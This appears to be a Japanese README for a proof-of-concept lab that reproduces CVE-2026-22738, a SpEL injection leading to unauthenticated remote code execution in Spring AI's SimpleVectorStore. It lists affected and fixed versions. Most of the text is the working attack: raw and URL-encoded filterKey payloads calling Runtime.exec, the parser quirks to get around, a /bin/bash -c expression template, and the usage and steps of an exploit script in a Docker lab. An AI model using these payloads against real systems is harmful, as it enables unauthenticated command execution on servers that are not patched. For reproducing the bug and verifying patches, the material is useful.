
SpELインジェクション(エスケープされていないフィルターキー経由)によるSimpleVectorStoreのリモートコード実行

CVE-2026-22738 は、Spring AI SimpleVectorStore における SpEL (Spring Expression Language) インジェクションの脆弱性であり、認証なしのリモートコード実行 (RCE) を引き起こす可能性があります。
| Artifact | 影響を受けるバージョン | 修正バージョン |
|---|---|---|
| org.springframework.ai:spring-ai-core | 1.0.0 – 1.0.4 | 1.0.5 |
| org.springframework.ai:spring-ai-core | 1.1.0-M1 – 1.1.3 | 1.1.4 |
注意: このプロジェクトでは、脆弱性の再現に spring-ai-core:1.0.0 の正式版を使用しています。
修正コミット: ba9220b22383e430d5f801ce8e4fa01cf9e75f29
SimpleVectorStore.similaritySearch() メソッドは、ユーザーが指定したフィルターキー名をそのまま SpEL テンプレートに渡し、StandardEvaluationContext によって評価します。StandardEvaluationContext は完全な JVM リフレクション API を公開しているため、攻撃者は以下を注入できます:
T(java.lang.Runtime).getRuntime().exec(...)
フィルターキーを追加することで、認証なしの OS コマンド実行を実現します。
以下のペイロードを使用します。URL エンコードを 1 回行う必要があることに注意してください。
"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['"
%22'%5D%20%2B%20T(java.lang.Runtime).getRuntime().exec('calc')%20%2B%20%23metadata%5B'%22
ペイロードを filterKey パラメータに渡すと、電卓が正常に起動します。

単純なインジェクション方法は直接機能しません。パーサーの 2 つの癖を克服する必要があります:
単一引用符の除去 — 単一引用符 ' で始まるキーは引用符付き文字列として扱われます。外側の引用符が除去され、ペイロードが破壊されます。
二重引用符ラッパー — ペイロードを二重引用符 "..." で囲むと、パーサーが外側の二重引用符を除去し、内部の SpEL 式がパーサーに渡されるキー値 #metadata['<KEY>'] として保持されます。
空のメタデータキー — 注入式の両側で #metadata[''] を使用すると(未定義の変数の代わりに)、unknown variable SpEL エラーを回避しながら、exec() を確実にトリガーできます。
計算される式の形式は以下のとおりです:
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'
HTTP レスポンスボディには、EL1030E SpEL ランタイムエラーが含まれます:
operator ADD not supported between null and java.lang.ProcessImpl
このエラーは exec() の戻り値に対して発生し、帯域外コールバックなしで OS レベルのコマンド実行が完了したことを確認します。
pip install requests)# コンテナをビルドして起動
docker compose up -d --build
# ログを確認
docker compose logs -f
# 依存関係をインストール
pip install requests
# エクスプロイトを実行(アプリの起動を待機)
python3 exploit.py --wait
# またはターゲットを指定
python3 exploit.py --target http://localhost:8082 --wait
| フラグ | デフォルト値 | 説明 |
|---|---|---|
--target | http://localhost:8082 | 脆弱なアプリケーションのベース URL |
--wait | オフ | ターゲットの準備が整うまでポーリング(docker compose up の後に便利) |
注意: Docker Desktop (macOS/Windows) では、コールバックに host.docker.internal を使用し、127.0.0.1 ペイロードを使用します。
この概念実証フローは、5 つの連続したステップで構成されています:
T(java.lang.System) を読み取って java.version のインジェクションポイントを確認touch /tmp/pwned_cve_2026_22738 を実行id // uname の出力を hostname として /tmp/rce_proof.txt に書き込みdocker exec で証明ファイルの内容を出力して検証├── Dockerfile # Docker ビルドファイル
├── docker-compose.yml # Docker Compose 設定
├── pom.xml # Maven プロジェクト設定
├── settings.xml # Maven 設定(Spring リポジトリを含む)
├── exploit.py # エクスプロイトスクリプト
└── src/main/java/com/example/spelrce/
├── SpelRceLabApplication.java # Spring Boot メインクラス
├── VulnController.java # 脆弱性コントローラー
├── VectorStoreConfig.java # VectorStore 設定
└── DummyEmbeddingModel.java # モック Embedding モデル
# プロジェクトをコンパイル
mvn clean package -DskipTests
# アプリケーションを実行
java -jar target/spel-rce-lab-1.0.0.jar
# 別のターミナルでエクスプロイトを実行
python3 exploit.py --target http://localhost:8082